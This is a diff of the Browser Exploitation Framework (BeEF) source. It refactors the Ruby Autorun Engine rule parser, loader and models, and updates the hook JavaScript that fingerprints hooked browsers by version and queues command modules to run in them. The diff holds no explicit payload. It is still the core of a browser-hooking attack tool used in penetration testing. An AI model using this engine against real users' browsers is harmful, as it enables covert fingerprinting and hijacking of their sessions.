property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent
|
||||
property :exec_time, String, :length => 15 # timestamp of ruleset triggering
|
||||
property :rule_token, String, :length => 10 # unique token to be appended to wrapper function names
|
||||
property :is_sent, Boolean
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,34 +0,0 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
module Models
|
||||
# @note Table stores the rules for the Distributed Engine.
|
||||
class Rule
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_arerules'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text # rule name
|
||||
property :author, String # rule author
|
||||
property :browser, String, :length => 10 # browser name
|
||||
property :browser_version, String, :length => 15 # browser version
|
||||
property :os, String, :length => 10 # OS name
|
||||
property :os_version, String, :length => 15 # OS version
|
||||
property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing
|
||||
property :execution_order, Text # command module execution order
|
||||
property :execution_delay, Text # command module time delays
|
||||
property :chain_mode, String, :length => 40 # rule chaining mode
|
||||
|
||||
has n, :executions
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,89 +1,85 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class Parser
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
end
|
||||
|
||||
BROWSER = ['FF','C','IE','S','O','ALL']
|
||||
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
|
||||
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
|
||||
CHAIN_MODE = ['sequential','nested-forward']
|
||||
BROWSER = %w[FF C IE S O ALL]
|
||||
OS = %w[Linux Windows OSX Android iOS BlackBerry ALL]
|
||||
VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP']
|
||||
CHAIN_MODE = %w[sequential nested-forward]
|
||||
MAX_VER_LEN = 15
|
||||
# Parse a JSON ARE file and returns an Hash with the value mappings
|
||||
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
|
||||
begin
|
||||
success = [true]
|
||||
def parse(name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
|
||||
success = [true]
|
||||
|
||||
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
|
||||
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
|
||||
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
|
||||
# if multiple browsers were specified, check each browser
|
||||
if browser.kind_of?(Array)
|
||||
browser.each do |b|
|
||||
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
|
||||
end
|
||||
# else, if only one browser was specified, check browser and browser version
|
||||
else
|
||||
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
|
||||
if browser_version != 'ALL'
|
||||
return [false, 'Illegal browser_version definition'] unless
|
||||
VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
|
||||
BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
|
||||
end
|
||||
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
|
||||
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
|
||||
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
|
||||
|
||||
# if multiple browsers were specified, check each browser
|
||||
if browser.is_a?(Array)
|
||||
browser.each do |b|
|
||||
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
|
||||
end
|
||||
# else, if only one browser was specified, check browser and browser version
|
||||
else
|
||||
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
|
||||
|
||||
if os_version != 'ALL'
|
||||
return [false, 'Illegal os_version definition'] unless
|
||||
VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
|
||||
BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
|
||||
if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) &&
|
||||
BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN)
|
||||
return [false, 'Illegal browser_version definition']
|
||||
end
|
||||
|
||||
return [false, 'Illegal os definition'] unless OS.include?(os)
|
||||
|
||||
# check if module names, conditions and options are ok
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
|
||||
if mod != nil
|
||||
modk = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
mod_options = BeEF::Module.get_options(modk)
|
||||
|
||||
opt_count = 0
|
||||
mod_options.each do |opt|
|
||||
if opt['name'] == cmd_mod['options'].keys[opt_count]
|
||||
opt_count += 1
|
||||
else
|
||||
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
|
||||
}) for module (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
else
|
||||
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
|
||||
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
|
||||
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
|
||||
|
||||
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
|
||||
modules.size == exec_order.size && modules.size == exec_delay.size
|
||||
|
||||
success
|
||||
rescue => e
|
||||
print_error "#{e.message}"
|
||||
print_debug "#{e.backtrace.join("\n")}"
|
||||
return [false, 'Something went wrong.']
|
||||
end
|
||||
|
||||
if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) &&
|
||||
BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN)
|
||||
return [false, 'Illegal os_version definition']
|
||||
end
|
||||
|
||||
return [false, 'Illegal os definition'] unless OS.include?(os)
|
||||
|
||||
# check if module names, conditions and options are ok
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
|
||||
if mod.nil?
|
||||
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
|
||||
else
|
||||
modk = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
mod_options = BeEF::Module.get_options(modk)
|
||||
|
||||
opt_count = 0
|
||||
mod_options.each do |opt|
|
||||
if opt['name'] == cmd_mod['options'].keys[opt_count]
|
||||
opt_count += 1
|
||||
else
|
||||
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
|
||||
}) for module (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
exec_order.each { |order| return [false, 'execution_order values must be Integers'] unless order.integer? }
|
||||
exec_delay.each { |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer? }
|
||||
|
||||
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
|
||||
modules.size == exec_order.size && modules.size == exec_delay.size
|
||||
|
||||
success
|
||||
rescue StandardError => e
|
||||
print_error e.message.to_s
|
||||
print_debug e.backtrace.join("\n").to_s
|
||||
[false, 'Something went wrong.']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,14 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class RuleLoader
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@@ -18,78 +16,74 @@ module BeEF
|
||||
|
||||
# this expects parsed JSON as input
|
||||
def load(data)
|
||||
begin
|
||||
name = data['name']
|
||||
author = data['author']
|
||||
browser = data['browser'] || 'ALL'
|
||||
browser_version = data['browser_version'] || 'ALL'
|
||||
os = data['os'] || 'ALL'
|
||||
os_version = data['os_version'] || 'ALL'
|
||||
modules = data['modules']
|
||||
exec_order = data['execution_order']
|
||||
exec_delay = data['execution_delay']
|
||||
chain_mode = data['chain_mode']
|
||||
|
||||
name = data['name']
|
||||
author = data['author']
|
||||
browser = data['browser']||'ALL'
|
||||
browser_version = data['browser_version']||'ALL'
|
||||
os = data['os']||'ALL'
|
||||
os_version = data['os_version']||'ALL'
|
||||
modules = data['modules']
|
||||
exec_order = data['execution_order']
|
||||
exec_delay = data['execution_delay']
|
||||
chain_mode = data['chain_mode']
|
||||
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
|
||||
name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode
|
||||
)
|
||||
|
||||
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
|
||||
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
|
||||
|
||||
if parser_result.length == 1 && parser_result.first
|
||||
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
|
||||
if @debug_on
|
||||
print_more "Target Browser: #{browser} (#{browser_version})"
|
||||
print_more "Target OS: #{os} (#{os_version})"
|
||||
print_more "Modules to Trigger:"
|
||||
modules.each do |mod|
|
||||
print_more "(*) Name: #{mod['name']}"
|
||||
print_more "(*) Condition: #{mod['condition']}"
|
||||
print_more "(*) Code: #{mod['code']}"
|
||||
print_more "(*) Options:"
|
||||
mod['options'].each do |key,value|
|
||||
print_more "\t#{key}: (#{value})"
|
||||
end
|
||||
end
|
||||
print_more "Exec order: #{exec_order}"
|
||||
print_more "Exec delay: #{exec_delay}"
|
||||
if parser_result.length == 1 && parser_result.first
|
||||
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
|
||||
if @debug_on
|
||||
print_more "Target Browser: #{browser} (#{browser_version})"
|
||||
print_more "Target OS: #{os} (#{os_version})"
|
||||
print_more 'Modules to Trigger:'
|
||||
modules.each do |mod|
|
||||
print_more "(*) Name: #{mod['name']}"
|
||||
print_more "(*) Condition: #{mod['condition']}"
|
||||
print_more "(*) Code: #{mod['code']}"
|
||||
print_more '(*) Options:'
|
||||
mod['options'].each do |key, value|
|
||||
print_more "\t#{key}: (#{value})"
|
||||
end
|
||||
end
|
||||
are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
|
||||
:name => name,
|
||||
:author => author,
|
||||
:browser => browser,
|
||||
:browser_version => browser_version,
|
||||
:os => os,
|
||||
:os_version => os_version,
|
||||
:modules => modules.to_json,
|
||||
:execution_order => exec_order,
|
||||
:execution_delay => exec_delay,
|
||||
:chain_mode => chain_mode)
|
||||
are_rule.save
|
||||
return { 'success' => true, 'rule_id' => are_rule.id}
|
||||
else
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
|
||||
return { 'success' => false, 'error' => parser_result.last }
|
||||
print_more "Exec order: #{exec_order}"
|
||||
print_more "Exec delay: #{exec_delay}"
|
||||
end
|
||||
|
||||
rescue => e
|
||||
err = 'Malformed JSON ruleset.'
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
|
||||
return { 'success' => false, 'error' => err }
|
||||
are_rule = BeEF::Core::Models::Rule.new(
|
||||
name: name,
|
||||
author: author,
|
||||
browser: browser,
|
||||
browser_version: browser_version,
|
||||
os: os,
|
||||
os_version: os_version,
|
||||
modules: modules.to_json,
|
||||
execution_order: exec_order,
|
||||
execution_delay: exec_delay,
|
||||
chain_mode: chain_mode
|
||||
)
|
||||
are_rule.save
|
||||
{ 'success' => true, 'rule_id' => are_rule.id }
|
||||
else
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
|
||||
{ 'success' => false, 'error' => parser_result.last }
|
||||
end
|
||||
rescue StandardError => e
|
||||
err = 'Malformed JSON ruleset.'
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
|
||||
{ 'success' => false, 'error' => err }
|
||||
end
|
||||
|
||||
def load_file(json_rule_path)
|
||||
begin
|
||||
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
|
||||
self.load JSON.parse(rule_file)
|
||||
rescue => e
|
||||
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
|
||||
end
|
||||
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
|
||||
self.load JSON.parse(rule_file)
|
||||
rescue StandardError => e
|
||||
print_error "[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}"
|
||||
end
|
||||
|
||||
def load_directory
|
||||
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
|
||||
print_debug "[ARE] Processing rule: #{rule}"
|
||||
self.load_file rule
|
||||
load_file rule
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,16 +1,39 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/**
|
||||
* A series of functions that handle statuses, returns a number based on the function called.
|
||||
* @namespace beef.are
|
||||
*/
|
||||
|
||||
beef.are = {
|
||||
/**
|
||||
* A function for handling a success status
|
||||
* @memberof beef.are
|
||||
* @method status_success
|
||||
* @return {number} 1
|
||||
*/
|
||||
status_success: function(){
|
||||
return 1;
|
||||
},
|
||||
/**
|
||||
* A function for handling an unknown status
|
||||
* @memberof beef.are
|
||||
* @method status_unknown
|
||||
* @return {number} 0
|
||||
*/
|
||||
status_unknown: function(){
|
||||
return 0;
|
||||
},
|
||||
/**
|
||||
* A function for handling an error status
|
||||
* @memberof beef.are
|
||||
* @method status_error
|
||||
* @return {number} -1
|
||||
*/
|
||||
status_error: function(){
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -13,23 +13,24 @@ $j = jQuery.noConflict();
|
||||
|
||||
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
|
||||
/**
|
||||
* Register the BeEF JS on the window object.
|
||||
* @namespace {Object} BeefJS
|
||||
* @property {string} version BeEf Version
|
||||
* @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
|
||||
* @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
|
||||
* @property {array} onclose An array containing functions to be executed by the window.onclose() method.
|
||||
* @property {array} commands An array containing functions to be executed by Beef.
|
||||
* @property {array} components An array containing all the BeEF JS components.
|
||||
*/
|
||||
|
||||
var BeefJS = {
|
||||
|
||||
|
||||
version: '<%= @beef_version %>',
|
||||
|
||||
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
|
||||
pageIsLoaded: false,
|
||||
|
||||
// An array containing functions to be executed by the window.onpopstate() method.
|
||||
onpopstate: new Array(),
|
||||
|
||||
// An array containing functions to be executed by the window.onclose() method.
|
||||
onclose: new Array(),
|
||||
|
||||
// An array containing functions to be executed by Beef.
|
||||
commands: new Array(),
|
||||
|
||||
// An array containing all the BeEF JS components.
|
||||
components: new Array(),
|
||||
|
||||
/**
|
||||
@@ -37,8 +38,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
|
||||
* @param: {string} the debug string to return
|
||||
*/
|
||||
debug: function(msg) {
|
||||
if (!<%= @client_debug %>) return;
|
||||
if (typeof console == "object" && typeof console.log == "function") {
|
||||
isDebug = '<%= @client_debug %>'
|
||||
if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
|
||||
var currentdate = new Date();
|
||||
var pad = function(n){return ("0" + n).slice(-2);}
|
||||
var datetime = currentdate.getFullYear() + "-"
|
||||
|
||||
@@ -1,16 +1,23 @@
|
||||
//
|
||||
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/**
|
||||
* @literal object: beef.browser
|
||||
*
|
||||
* Basic browser functions.
|
||||
* @namespace beef.browser
|
||||
*/
|
||||
beef.browser = {
|
||||
|
||||
/**
|
||||
* Returns the protocol.
|
||||
* @example: beef.browser.getProtocol()
|
||||
*/
|
||||
getProtocol: function() {
|
||||
return document.location.protocol;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the user agent that the browser is claiming to be.
|
||||
* @example: beef.browser.getBrowserReportedName()
|
||||
@@ -110,7 +117,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isIE10()
|
||||
*/
|
||||
isIE10: function () {
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -128,7 +135,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isEdge()
|
||||
*/
|
||||
isEdge: function () {
|
||||
return !beef.browser.isIE() && !!window.StyleMedia;
|
||||
return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -856,7 +863,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF89()
|
||||
*/
|
||||
isFF89: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -864,7 +871,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF90()
|
||||
*/
|
||||
isFF90: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -872,7 +879,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF91()
|
||||
*/
|
||||
isFF91: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -880,7 +887,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF92()
|
||||
*/
|
||||
isFF92: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -888,7 +895,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF93()
|
||||
*/
|
||||
isFF93: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -896,7 +903,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF94()
|
||||
*/
|
||||
isFF94: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -904,7 +911,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF95()
|
||||
*/
|
||||
isFF95: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -912,7 +919,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF96()
|
||||
*/
|
||||
isFF96: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -920,7 +927,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF97()
|
||||
*/
|
||||
isFF97: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -928,7 +935,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF98()
|
||||
*/
|
||||
isFF98: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -936,7 +943,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isFF99()
|
||||
*/
|
||||
isFF99: function () {
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
|
||||
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -997,10 +1004,13 @@ beef.browser = {
|
||||
|
||||
/**
|
||||
* Returns true if Webkit based
|
||||
*
|
||||
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
|
||||
*/
|
||||
|
||||
|
||||
isWebKitBased: function () {
|
||||
/*
|
||||
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
|
||||
*/
|
||||
return (!window.opera && !window.chrome
|
||||
&& window.navigator.userAgent.match(/ Version\/\d/) != null
|
||||
&& !window.globalStorage
|
||||
@@ -2493,6 +2503,7 @@ beef.browser = {
|
||||
type: function () {
|
||||
|
||||
return {
|
||||
E: this.isEdge(), // Edge any version
|
||||
C5: this.isC5(), // Chrome 5
|
||||
C6: this.isC6(), // Chrome 6
|
||||
C7: this.isC7(), // Chrome 7
|
||||
@@ -3914,12 +3925,12 @@ beef.browser = {
|
||||
getPlugins: function () {
|
||||
|
||||
var results;
|
||||
Array.prototype.unique = function () {
|
||||
var o = {}, i, l = this.length, r = [];
|
||||
for (i = 0; i < l; i += 1) o[this[i]] = this[i];
|
||||
for (i in o) r.push(o[i]);
|
||||
return r;
|
